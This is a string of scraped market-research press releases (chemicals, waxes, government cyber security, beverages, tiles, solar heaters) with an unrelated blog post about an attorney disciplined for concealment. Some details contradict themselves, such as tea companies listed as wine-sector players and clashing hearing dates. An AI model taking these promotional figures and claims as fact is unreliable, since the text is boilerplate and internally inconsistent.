basis of product pricing, Hexamethyldisilane production volume, data pertaining to demand and Hexamethyldisilane supply, and the revenue garnered by the product. The report provides upstream and downstream analysis covering major raw material used in manufacturing of Hexamethyldisilane along with detailed manufacturing sources. The report also shares list of major raw material manufacturers along with their manufacturing locations. Detailed raw material price trend analysis along with manufacturing cost analysis is also incorporated into the report. Various methodical tools such as investment returns, feasibility, SWOT analysis and market attractiveness analysis has been implemented in the research study to present a comprehensive, detailed study of the industry for Hexamethyldisilane across the world.About UsApex Market Reports offers elevating market research globally. We have collection of various syndicated reports of different categories. Apex Market Reports provides you to best services, weather youre searching for new trends in market or competitive scenario in emerging market.Customers can buys different reports across various categories such as Chemical and Material, Biotechnology, Healthcare, Food and beverages, Automobile and various sectors. Our Website offers safe and secure online ordering experience, convenient payment options.Contact UsFrank ValadezCorporate Sales Specialist155 North Wacker Drive, Suite 4250Chicago, IL 60606Phone: +17739042683Email id - sales@apexmarketreports.comWebsite -
Carnauba Wax Market: Recent Industry Developments and Growth Strategies Adopted by Players

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Waxes are extensively used by various end user industries. Natural waxes are obtained through ecological process of biogenesis without any involvement of chemical process. Natural waxes can be derived from plant as well as animal source and represents renewable source of wax. Thereby, gaining traction among wax manufacturers. Carnauba wax is plant based resin wax which is obtained from palm leaves of Copernicia prunifera, found exclusively in Brazil.The wax is attained by beating the dried leaves of palm and then refining it. Carnauba wax is considered to be naturally occurring hardest wax. Due to its durability and high melting point, carnauba wax finds extensive use in various sectors such as cosmetics, automobiles, pharmaceuticals among others.Carnauba wax is consist of various exclusive properties such as it swells when exposed to water, has potential to retain oil and exhibits prominent glossy characteristics differentiating it from other naturally occurring wax. Apart from natural source, carnauba wax can also be obtained organically by filtering the highest quality of untreated carnauba wax.Obtain Report Details @Global Carnauba Wax Market: Drivers and RestraintsIncreasing inclination of consumers towards naturally-derived products is driving the market for carnauba wax. Carnauba wax is hypo allergic in nature and easy to swallow hence finds extensive use in pharmaceutical industry for pills coating. As food & beverage industry is under continuous innovation, product such as carnauba wax that exhibit excellent emulsifying properties and binding capacity for oils, are gaining traction.Moreover, due to its high melting point and glossy characteristics it is becoming a desired natural additive choice among manufacturers of cosmetic industry for manufacturing of lip balms, lipsticks, mascaras among others. Thus, broad spectrum applicability of carnauba wax is propelling the market growth. Moreover, due to its hardness and viscosity modifier properties, it is extensively used as polish wax in automobile industry. Carnauba wax is gaining traction among consumers over the bee wax due to broad base of application hence accelerating the market growth.Request Sample @However, the tropical variety of carnauba wax may cause some side effects such as skin rash, contact dermatitis, inflammation of hair follicle. Thereby, restraining the growth of carnauba wax market. Moreover, owing to less commercialisation, carnauba wax market offers low profitability margins to the manufacturers across the globe.Global Carnauba Wax Market: Region wise OutlookThe global carnauba wax market is categorised into seven regions, namely, Western Europe, Eastern Europe Middle East and Africa (MEA), Asia Pacific excluding Japan (APEJ), , Japan Latin America and, North America. Brazil accounts for the major share of the market as it is exclusively cultivated in the North-eastern Brazil.Asia pacific region is considered to be prominent segment for growth due to opportunistic investment and manufacturing hub for various industries under which carnauba wax finds extensive use. North America exports its major share of carnauba wax from Brazil.Global Organic Hair Care Market: Key PlayersSome of the prominent players identified in the global carnauba wax market includes:Strahl & Pitsch, Inc.Poth Hille & Co LtdKoster Keunen, LLC.CalwaxKahl GmbH & CO. KGFrank B. Ross Co., Inc.Akrochem CorporationAbout UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
US Government Cyber Security Market Will Reach At CAGR Of 7.99% Between 2017-2021

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Latest industry research report on: Global Government Cyber Security Market : Industry Size, Share, Research, Reviews, Analysis, Strategies, Demand, Growth, Segmentation, Parameters, ForecastsThe objective of this report is to define, describe, and forecast the market on the basis of type, application, medical condition, and region. It provides detailed information regarding the major factors influencing the growth of the market. This report also tracks and analyzes competitive developments of the key players in terms of market developments, product portfolios, and financials.Acute Renal Failure Market: Industry Size, Share, Growth, Forecasts.Complete Report Details @Cyber threats are Internet-based attempts to disrupt or damage information systems and hack critical information using spyware, malware, and phishing. Cyber security solutions enable the US government to maintain data confidentiality by monitoring, detecting, reporting, and countering cyber threats. The adoption of cyber security solutions is expected to increase with the growing penetration of the Internet among organizations of the US government.Technavios analysts forecast the government cyber security market in the US to grow at a CAGR of 7.99% during the period 2017-2021.Request For Sample Report @Covered in this reportThe report covers the present scenario and the growth prospects of the government cyber security market in the US for 2017-2021. The report presents a detailed picture of the market by way of study, synthesis, and summation of data from multiple sources.Technavio's report, Government Cyber Security Market in the US 2017-2021, has been prepared based on an in-depth market analysis with inputs from industry experts. The report covers the market landscape and its growth prospects over the coming years. The report also includes a discussion of the key vendors operating in this market.Key vendorsBAE SystemsGeneral DynamicsLockheed MartinNorthrop GrummanRaytheonHave Any Query? Ask Our Expert @Other prominent vendorsBoeingBooz Allen HamiltonDXC TechnologyDell EMCMarket driverIncreasing frequency and complexity of cyber attacksFor a full, detailed list, view our reportMarket challengeHigh cost of deploymentFor a full, detailed list, view our reportMarket trendImplementation of BYOD policyFor a full, detailed list, view our reportKey questions answered in this reportWhat will the market size be in 2021 and what will the growth rate be?What are the key market trends?What is driving this market?What are the challenges to market growth?Who are the key vendors in this market space?About usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.Contact UsState Tower90 State Street, Suite 700Albany, NY 12207United StatesTel: +1-518-621-2074Website:Email: sales@marketresearchreports.biz
Get to Know the ins and Outs of the New Mini Data Center Market 2017

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Qyresearchreports include new market research report Global Mini Data Center Market Size, Status and Forecast 2022 to its huge collection of research reports.The global Mini Data Center market has been deeply evaluated in this publication with the help of both primary and secondary research and useful inputs provided by industry experts. The analysts who have prepared the publication have been among the best in the lot with sound understanding about almost all vital aspects of the market. The publication has come out as a detailed guideline for industry players to explore hidden prospects and take advantage of the best opportunities in the market. Players could also use the information presented in the publication to plan the best strategies that will help them to secure a strong position in the market.By segregating the global Mini Data Center market into different segments, the analysts have offered crucial information that could help players to gain a competitive edge over their toughest opponents. Each segment studied in the publication has been meticulously evaluated with market figures to go by. This could help readers to tap into unexplored regions or other categories of segments and ensure a continuing success in the market. Besides segmentation, the publication has offered information on factors detaining market growth, backing them up with opportunities to counter the challenges about to show face in the near future.The analysts have also shed light on key aspects of the vendor landscape while profiling some of the leading companies operating in the global Mini Data Center market. Starting from the nature of the current and future competitive scenarios of the market, the publication has foreseen the future plans of leading companies to gain a strong foothold in the industry. This could help readers to stay cautioned about any surprising changes in the vendor landscape of the market beforehand. Furthermore, readers could use the information to build extraordinary strategies to strengthen their product portfolio and give a tough competition in the market.Fill the form to gain Free Sample of this market @List of Tables and FiguresFigure Mini Data Center Product ScopeFigure Global Mini Data Center Market Size (Million USD) (2012-2017)Table Global Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure Global Mini Data Center Market Share by Regions in 2016Figure United States Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure EU Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure Japan Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure China Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure India Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure Southeast Asia Mini Data Center Market Size (Million USD) and Growth Rate by Regions (2012-2017)Figure Global Mini Data Center Market Share by Type in 2016About USQYResearchReports.com is an unimpeachable source of market research data for clients that comprise acclaimed SMEs, Chinese companies, private equity firms, and MNCs. We provide market research reports on various categories such as Energy, Chemicals, Alternative and Green Energy, Manufacturing, Machinery, Pharmaceuticals and Materials, and Glass.Contact US1820 AvenueM Suite #1047Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Web:Email: sales@qyresearchreports.com
Craft Soda Market : Understanding the Key Product Segments and their Future

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Craft Soda Market: Introduction: Craft soda or micro manufacturers are traditional small batch manufactured soda products. Craft soda is flavored carbonated drinks widely categorized under soft drinks. The craft soda majorly comes under non-traditional soft drink flavoring to attract a lot of consumers looking for alternatives. The craft soda market has already seen a high growth is past few years with private labels and local players dominating the market over the globe.Craft Soda Market: Segmentation: The craft soda market is segmented on the basis of source, packaging, flavor and distribution Channel.On the basis of source, the craft soda market is segmented into organic and conventional. The organic segment is expected to dominate the craft soda market over the forecast period owing to the global trend of organic food and beverage.Obtain Report Details @On the basis of packaging, the craft soda market is segmented into glass, P.E.T, pouches, and cans. Glass segment is expected to dominate over the forecast period resulted by the traditional packaging used by the major producer to bring an ancient accent to their offerings.On the basis of flavor, the craft soda market is segmented into root beer, orange, passion fruit, berries, tropical fruits and others. Root beer an orange to hold a larger share over the forecast period.On the basis of the distribution channel, the craft soda market is segmented into direct and indirect. The indirect segment is further sub-segmented into modern trade, specialty stores, convenience stores, e-commerce, and other store formats. The indirect segment is expected to dominate over the forecast period.Craft Soda Market: Region-wise Outlook: North America is anticipated to capture a large share on the basis of value owing to its traditional market for crafts soda. Europe to follow North America in terms of value share for craft soda market. Asia-pacific to witness high growth rate in craft soda market due to the faster adoption of western market offerings into the region. Latin America and the Middle East and Africa to also witness significant growth over the forecast period in craft soda market.Request Sample @Craft Soda Market: Drivers and Restraints: The craft soda market is anticipated to be driven by the increasing demand for alternative offering in monotonous mature markets. The soft drink segment has not seen any significant new offering, been dominated by 2 major global players for decades. Also, clean labels and the organic source are anticipated to drive the craft soda market by the rising demand from ethical buyers over the globe.The craft soda market is expected to get restraint by the competitive offering by the major food and beverage manufacturers to capture the untapped market over the forecast period.Craft Soda Market: Key Players: The global player for the Craft Soda market are Tuxen Brewing Co., Justcraft Soda, Five Star Soda, Batch Craft Soda, Brooklyn Organics, Blue Sky, Dry Soda Co., Excel Bottling, and Bai brands.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Sparkling Wine Market : Clear Understanding of The Competitive Landscape and Key Product Segments

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Sparkling Wine contains a significant amount of carbon dioxide which gives a bubbly effervescence to it. Sparkling Wine is produced by the double fermentation process due to which the carbon dioxide gas is formed. The first fermentation process usually takes place in the steel tanks, and the second fermentation takes place in the bottle.One of the best known sparkling wine is the Champagne, which is particularly produced in the Champagne region of France. Sparkling wine is mostly used in celebrations, success, luxury, and various other occasions. It can be alcoholic and non-alcoholic in nature and is consumed by all age group.Sparkling Wine Market SegmentationThe Sparkling Wine Market can be segmented on the basis of source, nature, type of wine, flavors, distribution channel, and region.Obtain Report Details @By source, the sparkling wine market can be segmented by the types of grapes which include Pinot Noir, Pinot Meunier, Chardonnay, Pinot Blanc, Pinot Gris, Petit Meslier, and Arbane. Among these, the Pinot Noir is the most widely used variety of grape followed by Pinot Meuniera and Chardonnay.By nature, the sparkling wine market can be segmented as organic sparkling wine and conventional sparkling wine. The difference between them is the method of production. The organic sparkling wine is produced and fermented in bottles directly whereas the conventional sparkling wine is produced and fermented in high pressured tanks as well as in bottles.By types of wine, the sparkling wine market can be segmented as alcoholic and non-alcoholic sparkling wine. Comparatively, the alcoholic sparkling wine is experiencing a higher demand than the non-alcoholic sparkling wine and thus the alcoholic sparkling wine market is expected to grow significantly over the forecast period.By flavors, the market is segmented into brut, fruity flavor and others. Fruity flavor segment can further be sub-segmented into apple, nutty, pear, citrus, strawberry, vanilla and cream. The most popular style of sparkling wine today is the Brut. Brut sparkling wine has a dry taste, with very low sugar levels.By distribution channels sparkling wine market is segmented into modern trade units, specialty stores, and online stores. Supermarkets/hypermarkets are recently anticipated to hold a significant share in the sparkling wine market. Online stores also have contributed remarkably to the growth of sparkling wine market over the forecast period.By region, sparkling wine market can be segmented into different regions while Europe being the leader with the largest production of sparkling wine. Among the Europe region, Italy holds the first position in the production and export of sparkling wine closely followed by France, Germany, Spain, and Russia.Europe is followed by the production capacity of U.S. with an increased 30% volume over the past years. In terms of consumption, Germany, Russia, and U.S. till now are the biggest sparkling wine consumers while U.K is leading in the value terms.Request Sample @Sparkling Wine Market Drivers, Trends, and DriversAccording to the recent trends of premiumization, alcohol consumers are preferring sparkling wine instead of any other alcoholic drinks for celebrations and occasions. Following the recent past activities in various regions in the world, it can be concluded that consumption of sparkling wine has become an accompaniment for a number of reasons. In many developed regions such as Europe, Canada, the U.S., alcohol and sparkling wine is a socially accepted part of their daily life.Younger population of the world is influenced by their peer group or peer thinking, which is a factor driving the growth of sparkling wine market. Changing lifestyles, the influence of social media and Internet, increasing social parties, adolescents with high social network influence, greater family incomes, and others have easier access to alcoholic and non-alcoholic drinks, which is also driving demand for sparkling wine.In spite of the growing trends of alcohol consumption and product premiumization, the high cost of various sparkling wine inhibits alcohol consumers to buy it which in result restraining the sparkling wine market to grow.Sparkling Wine Market Key PlayersThe rise of demand for the Sparkling Wine in the various region is attracting key players to produce and sell sparkling wine in the market. Some the key players are ILLINOIS SPARKLING CO., The Sparkling Wine Co., Moet Hennessy USA, LANSON-BCC, Pernod Ricard, CALIFORNIA CHAMPAGNES, English Wine Producers, The Oxford Wine Company Limited, and others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Monday, December 18, 2017

An attorney who was able to secure early termination of probation for his client in Massachusetts by concealing a recent New Hampshire arrest was suspended for 15 months by the Massachusetts Supreme Judicial Court

On February 7, 2007, the motion to terminate early was conducted at side bar and was presented upon the representation of the respondent. During the presentation, the respondent represented that his client was doing very well, was employed in the successful family business and had a need to travel in connection with the family business. The judge made inquiry of the client as to his ongoing treatment for substance abuse issues. The respondent interceded before the client spoke and stated that "he took care of those issues a long time ago." In his presentation, the respondent did not disclose any facts in connection with the New Hampshire proceeding including that his client has been physically present in New Hampshire and had been arrested, and arraigned on serious drug charges.

On February 7, 2017, the Court allowed the motion, terminating probation. A few days later, the probation officer received papers from the Salem, New Hampshire, Police Department disclosing the pending criminal charges. The probation officer called the respondent and informed him of her receipt of the New Hampshire papers. The respondent professed surprise about the New Hampshire charges. As a result of the pending New Hampshire charges, the termination the clients probation was rescinded, his probation was revoked and he was sentenced to jail for one year.

He should not have been surprised as he was handled the New Hampshire charges.

He stipulated to the violations

By seeking affirmative relief from a court by knowingly concealing facts from the probation department and the court, including known violations of the terms of probation, the respondent violated Mass. R. Prof. C. 3.3(a)(1) and 8.4(c), (d) and (h). By affirmatively informing the court that that his client was doing very well and representing that he had put those issues behind him as described above, the respondent made statements of fact that were knowingly false and misleading, in violation of Mass. R. Prof. C. 3.3(a)(1) and 8.4(c), (d) and (h). By attempting to conceal his misconduct by professing to the probation officer ignorance of the New Hampshire charges, the respondent violated Mass. R. Prof. C. 4.1 and 8.4(c), (d) and (h).

(Mike Frisch)

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Flow Back Equipment Rental 2017 Global Market Key Players  Cajun Energy Rental, Flo-Back Equipment, LOMA, Kodiak Equipment Rentals, Newkota  Analysis and Forecast to 2022

Flow Back Equipment Rental Market

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Flow Back Equipment Rental Market 2017Wiseguyreports.Com adds Flow Back Equipment Rental Market Market Demand, Growth, Opportunities, Analysis of Top Key Players and Forecast to 2022 To Its Research Database.Report Details:This report provides in depth study of Flow Back Equipment Rental Market using SWOT analysis i.e. Strength, Weakness, Opportunities and Threat to the organization. The Flow Back Equipment Rental Market report also provides an in-depth survey of key players in the market which is based on the various objectives of an organization such as profiling, the product outline, the quantity of production and the financial health of the organization.This report studies the global Flow Back Equipment Rental market, analyzes and researches the Flow Back Equipment Rental development status and forecast in United States, EU, Japan, China, India and Southeast Asia.This report focuses on the top players in global market, likeCajun Energy RentalFlo-Back EquipmentLOMAKodiak Equipment RentalsSelectBosque Energy ServicesNewkotaAmeritestPTSREDBACKSmith Energy ServicesTech-Flo'Mountain EquipmentAero Rental ServicesStuartTLR Well Services,Fischer-Bush Equipment CompanyDW Rentals & ServicesLary Archer& AssociatesRequest a Sample Report @Market segment by Regions/Countries, this report coversUnited StatesEUJapanChinaIndiaSoutheast AsiaMarket segment by Type, the product can be split intoJet PumpFlowback SystemsMarket segment by Application, Flow Back Equipment Rental can be split intoSolids RemovalFlow ControlIf you have any special requirements, please let us know and we will offer you the report as you want.Complete Report Details@Major Key Points in Table of Content:Global Flow Back Equipment Rental Market Size, Status and Forecast 20221 Industry Overview of Flow Back Equipment Rental1.1 Flow Back Equipment Rental Market Overview1.1.1 Flow Back Equipment Rental Product Scope1.1.2 Market Status and Outlook1.2 Global Flow Back Equipment Rental Market Size and Analysis by Regions1.2.1 United States1.2.2 EU1.2.3 Japan1.2.4 China1.2.5 India1.2.6 Southeast Asia1.3 Flow Back Equipment Rental Market by Type1.3.1 Jet Pump1.3.2 Flowback Systems1.4 Flow Back Equipment Rental Market by End Users/Application1.4.1 Solids Removal1.4.2 Flow Control2 Global Flow Back Equipment Rental Competition Analysis by Players2.1 Flow Back Equipment Rental Market Size (Value) by Players (2016 and 2017)2.2 Competitive Status and Trend2.2.1 Market Concentration Rate2.2.2 Product/Service Differences2.2.3 New Entrants2.2.4 The Technology Trends in Future3 Company (Top Players) Profiles3.1 Cajun Energy Rental3.1.1 Company Profile3.1.2 Main Business/Business Overview3.1.3 Products, Services and Solutions3.1.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.1.5 Recent Developments3.2 Flo-Back Equipment3.2.1 Company Profile3.2.2 Main Business/Business Overview3.2.3 Products, Services and Solutions3.2.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.2.5 Recent Developments3.3 LOMA3.3.1 Company Profile3.3.2 Main Business/Business Overview3.3.3 Products, Services and Solutions3.3.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.3.5 Recent Developments3.4 Kodiak Equipment Rentals3.4.1 Company Profile3.4.2 Main Business/Business Overview3.4.3 Products, Services and Solutions3.4.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.4.5 Recent Developments3.5 Select3.5.1 Company Profile3.5.2 Main Business/Business Overview3.5.3 Products, Services and Solutions3.5.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.5.5 Recent Developments3.6 Bosque Energy Services3.6.1 Company Profile3.6.2 Main Business/Business Overview3.6.3 Products, Services and Solutions3.6.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.6.5 Recent Developments3.7 Newkota3.7.1 Company Profile3.7.2 Main Business/Business Overview3.7.3 Products, Services and Solutions3.7.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.7.5 Recent Developments3.8 Ameritest3.8.1 Company Profile3.8.2 Main Business/Business Overview3.8.3 Products, Services and Solutions3.8.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.8.5 Recent Developments3.9 PTS3.9.1 Company Profile3.9.2 Main Business/Business Overview3.9.3 Products, Services and Solutions3.9.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.9.5 Recent Developments3.10 REDBACK3.10.1 Company Profile3.10.2 Main Business/Business Overview3.10.3 Products, Services and Solutions3.10.4 Flow Back Equipment Rental Revenue (Value) (2012-2017)3.10.5 Recent DevelopmentsContinued.Buy now @Contact Us:NORAH TRENTPh: +1-646-845-9349 (US)Sales@Wiseguyreports.ComPh: +44 208 133 9349 (UK)ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.ADDRES:WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Ceramic Tiles Market Forecast, Trend Analysis & Competition Tracking: Canada Review 2017 to 2022

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Tiles find wide-ranging applications in the construction sector. They are used for covering floors, roofs, walls, and table tops of buildings. The function of such tiles varies from providing protection and durability to enhance the aesthetic appeal of walls and buildings. Tiles are made using various materials such as stone, metal, ceramic, and glass. Tiles made from ceramic materials are referred to as ceramic tiles and find extensive applications in the construction business. Based on application, ceramic tiles can be classified into floor tiles, wall tiles, industrial tiles, and vitrified or porcelain tiles. Ceramic tiles are lightweight, corrosion-resistant, durable, they show consistency in color and easy to maintain. These properties make them a much preferred option for use in the construction industry, which is driving the Canada ceramic tiles market. Moreover, ceramic tiles are used to decorate homes. This can present several opportunities in the market. However, there is high volatility in the prices of raw material such as bentonite, feldspar, silica sand and kaolin. This is a main restraint likely to hinder the growth of the Canada ceramic tiles market. Other aspects such as emission of greenhouse gases and particulate matter while processing of ceramic tiles, especially during drying and machining operations, hamper the growth of the ceramic tiles market.Request Free Sample Report @Ceramic is non-metallic, inorganic, and typically crystalline in nature. It is chemically composed of nitride or oxide or carbide materials. Sometimes, partially crystalline elements such as silicon, glass, and carbon are also considered as ceramics. Different ceramics are manufactured through specific processes, of which the common process is to heat and subsequently cool the material to a certain temperature. Naturally, ceramics are strong, brittle and hard in compression, but are weak in tension and shearing. These properties make ceramics resistant to harsh environments and caustic or acidic materials. Owing to these differentiating characteristics of ceramics, they find applications in a variety of products which are categorized as:o Structural: This includes ceramic applications in roof and floor tiles, pipes, and brickso White ware: This includes ceramic applications in wall tiles, cookware, tableware, sanitary ware, pottery products, and moreo Refractory: This includes applications in gas and fire radiant, kiln linings, glass and steel crucibles, and so ono Other: This includes all other applications of ceramics in various industries such as knife blades, disc brakes in vehicles, watch cases, and biomedical implants, among othersAccording to Fact.MRs research report on the Canada ceramic tiles market, the market is anticipated to reach a value of about US$ 1.8 Bn by 2022 reflecting a sluggish CAGR during the forecasted period of 2017-2022.Browse Full Report with TOC @Porcelain Ceramic Tiles Dominate the Canada MarketPorcelain ceramic tiles segment by product type is set to dominate the Canada ceramic tiles market. This segment is anticipated to reflect a higher market share of about 47.7% by the end of 2022 and also is expected to grow at a higher rate as compared to other product segments, and poised to register a CAGR of 2.7% throughout the period of forecast 2017 to 2022. It can be beneficial to consider Canada porcelain ceramic tiles market from an investment standpointGlazed and Unglazed Ceramic Tiles Experience Slow GrowthThe glazed and unglazed ceramic tiles segments by product type experience slow growth rate as compared to porcelain segment, however, porcelain and glazed ceramic tiles segment do not have much of a difference with respect to growth rates during the period of forecast. However, it has a higher market share than glazed ceramic tiles. Unglazed segment is poised to reflect even slower growth than glazed segment. Both the segments are expected to lose BPS whereas porcelain segment poised to show higher gain in the BPS by the end of 2022Commercial Segment Surpasses Household SegmentThe commercial segment by application is poised to register a faster growth compared to the household segment and is anticipated to reach a CAGR of 2.7% throughout the period of forecast of 2017 to 2022. This segment is also expected to show higher gain in the BPS by the end of 2022Competition TrackingThe report also profiles companies that are expected to remain active in the expansion of the Canada ceramic tiles market through 2022, which include Mohawk Industries, Inc., R.A.K Ceramics PJSC, ARDEX GmbH, Granitifiandre SpA, Florida Tile, Inc., Interceramic Inc., Custom Building Products, Inc., Olympia Tile International Inc., Ceramiche Atlas Concorde S.p.A and Crossville Inc.Check Discount @About Fact.MRFact.MR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFact.MRSuite 988427 Upper Pembroke Street,Dublin 2, IrelandTelephone: +353-1-6111-593Email: sales@factmr.com/Web:
Eastern European Wine Sector Market 2017: Key Players  Nestle, Unilever, Ahmad Tea, Greenfield Tea Ltd, May Company and More

Eastern European Wine Sector Market

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WiseGuyReports published new report, titled Opportunities in the Eastern European Wine SectorSummary"Opportunities in the Eastern European Wine Sector", report brings together multiple data sources to provide a comprehensive overview of the Eastern Europe's Spirits sector. It includes market overview, high growth country analysis, top brands, key distribution channels, packaging formats and case studies.Eastern Europe, with a value share of 10.0%, represented the fourth largest market in 2016. Of the three markets, still wine held the largest share in the Eastern Europe wine sector, accounting for 63.4% (US$19,324.0) in 2016. The Eastern Europe Wine sector is fragmented, with the top five brands accounting for 18.6% of the market volume in 2016. Hypermarkets & supermarkets is the most popular channel for wine in the region, accounting for 46.7% of overall sales in 2016.GET SAMPLE REPORT @ScopeThis report brings together multiple data sources to provide a comprehensive overview of the hot drinks sector in the region. It includes analysis on the following - Sector overview: Provides overview of the sector size, value and volume growth analysis, across regions- Change in consumption: Analysis on the shift in consumption of hot drinks by markets across the key countries in the region.- High potential countries: Provides Risk-Reward analysis of top 4 high potential countries in the region based on market assessment, economic development, socio-demographic, governance indicators, and technological infrastructure- Country analysis: Provides deep-dive analysis of high potential countries covering value growth during 2016-2021, key challenges, consumer demographics, and key trends supported with product examples. It also includes analysis of the key challenges faced and future outlook for the region.- Brand analysis: Provides an overview of leading brands in the region, besides analyzing the growth of Private Label products in the region.- Key distribution channels: Provides analysis on the leading distribution channels for hot drinks across the key countries in the region, in 2016. It covers these distribution channels - hypermarkets & supermarkets, convenience stores, food & drinks specialists, dollar stores, which include variety stores & general merchandisers and others, which includes cash & carries & warehouse clubs and others.- Preferred packaging formats: The report provides percentage share (in 2016) and growth analysis (during 2011-2021) for various packaging materials, container, closure, and outer types based on the volume sales (units) of hot drinksKey points- Manufacturing and retailers seek latest information on how the market is evolving to formulate their sales and marketing strategies. There is also demand for authentic market data with a high level of detail. This report has been created to provide its readers with up-to-date information and analysis to uncover emerging opportunities of growth within the sector in the region.- The report provides a detailed analysis of the countries in the region, covering the key challenges, competitive landscape and demographic analysis , that can help companies gain insight into the country specific nuances- The analysts have also placed a significant emphasis on the key trends that drive consumer choice and the future opportunities that can be explored in the region, than can help companies in revenue expansion- To gain competitive intelligence about leading brands in the sector in the region with information about their market share and growth ratesTable of Contents1. Executive summary2. Market size and growth analysis (Regional analysis)3.Identifying high potential countries in Eastern Europe4. Market size and growth analysis (High potential countries in Eastern Europe)5. Country Profiles (High potential countries in Eastern Europe)6. Success Stories7. Company and Brand Analysis8. Key Distribution Channels9. Key Packaging Formats10. Challenges and Future Outlook11. Appendix..CONTINUEDFor accessing accurate and deep understanding and to gain latest insights and key developments in the area of your interest, we also have a list of conferences in which you will be interested in, for more information, cordially checkFor updating knowledge or for thoroughly understanding various terminologies, we also have vast list of seminars for your reference, for more information cordially checkWise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISEGUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Solar Water Heater Market will Definitely cross USD 4 billion by 2024 With Scope of Top Manufactures

Ground Solar Water Heater Market, Ground Solar Water Heater Market Study, Ground Solar Water Heater Market Size, Ground Solar Wate

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Favorable measures to encourage the deployment of solar energy along with strict government regulations to reduce greenhouse gas emissions will propel the U.S. solar water heater market share. Under the Obama administration, the country set target to reduce GHG emissions up to 28% by 2025 from 2005 level. Positive outlook towards housing sector will further complement the business growth.Market Study Report Add New Global Solar Water Heater Market by Manufacturers, Countries, Type and Application, forecast to 2024 to its research database presenting a deep study of the market growth factors and drivers. The report spread across 250 pages with table and figures in it.Thermosyphon solar water heater market is predicted to witness strong growth owing to its wide application across commercial and residential buildings. Cost effectiveness, ease of installation and simple design are some of the primary benefits which will boost the product penetration.Get Free Sample Copy of this Report:Scope of the Report:Solar Water Heater Market will cross USD 4 billion by 2024, according to a new research report.Italy in 2016, accounted for over 5% of the Europe solar water heater market share. Introduction of building code with an aim to reduce the overall emissions will further boost the product demand. In March 2011, the government of Italy introduced law number 28 according to which all new building and buildings that are under construction have been required to fulfil up to 50% of hot water demand with renewable energies since June 2012.Increasing investment toward renewable energy development will augment the Jordan solar water heater market. In 2016, the EU invested USD 170.56 million to support the development of green energy including Renewable Energy and Energy Efficiency II program in Jordan under the 